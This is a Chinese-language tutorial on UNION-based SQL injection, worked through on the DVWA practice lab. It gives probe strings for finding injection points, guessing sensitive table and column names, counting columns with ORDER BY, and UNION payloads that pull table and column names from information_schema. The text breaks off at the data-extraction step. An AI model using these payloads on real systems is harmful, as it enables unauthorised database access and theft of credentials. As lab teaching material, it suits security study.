union是用于合并两个sql查询结果的语句。
要使用union
必须有相同的列数
必须有两条以上的select语句组成
列的数据类型必须兼容,兼容的含义是必须数据库可以隐含转换他们的类型
联合注入
下面将以dwav靶场示例
1.判断是否存在可疑的注入点(数字型或字符型)。
数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
方法一: 单引号法
'
方法二: 逻辑法
and 1=1
and 1=2
1' and '1'='1
1' and '1'='2
方法三:运算法
-1
-0
2.猜解表名
常见敏感表名
admin
user admin_userinfo
system
vipuser
a_admin
xxx_admin
3.猜字段数
order by
4.猜解字段名
敏感字段名:
username
password
admin_usernmae
admin_password
5.获取数据
id = 1 union select 1,2,3,'''''
联合注入步骤详情:
打开本地dvwa靶场
1.判断是否存在注入(数字型或字符型)
当输入id等于1'时 数据库直接报错,通过回显我们可以看出id=1'被包在单引号里面被数据库转换成了字符串而不会去执行。
所以我们就要构造闭合 让语句可以成功带入数据库进行执行,以达到我们想要的操作。
当输入id = 1' and '1' ='1时,此时代数数据库执行的语句就是这样的
select First name,surname FORM users WHERE user_id='1''
当输入1' and '1' ='1时,执行的语句就会是这样
select First name,surname FORM users WHERE user_id='1' and '1' ='1'
将姓名都显示出来。说明存在字符型注入。
2.猜解字段数
命令: order by 数字
功能:当猜测的数字小于或等于实际字段数,回显正确,否则报错
发现输入id=1' order by 3 # 时报错,则猜测字段为两个
3.联合查询
使用 union select database(),user() # !!!井号不要忘记加
这里查询到数据库为 dvwa 用户为root@loca1host
查询当前 数据库版本(尤为重要)
当mysql 版本小于4.0 的时候 ,是不支持 union seletc联合查询的
当mysql 版本大于5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库
列举几个常见的查询函数
1. version()- 数据库版本
2.user() -数据库用户
3. database() - 当前所在数据库
4. current_user() - 当前用户名
5. system_user() - 系统用户名
6. session_user() -连接到数据库的用户名
7. @@basedir - 数据库的安装目录
8. @@datadir - 数据库文件存放目录
9. SCHEMATA- 记录当前数据库服务器所有数据库名称
10.TABALES- 记录了当前数据库服务器所有表的信息
4.获取数据表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
联合 查询 "information_schema.table" 表中选取 "table_name" 和 "table_schema" 列 条件 table_schema = 'dvwa' #
获得 guestbook表 和 users表
5.获取表列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
group_concat 一次性
6.获取数据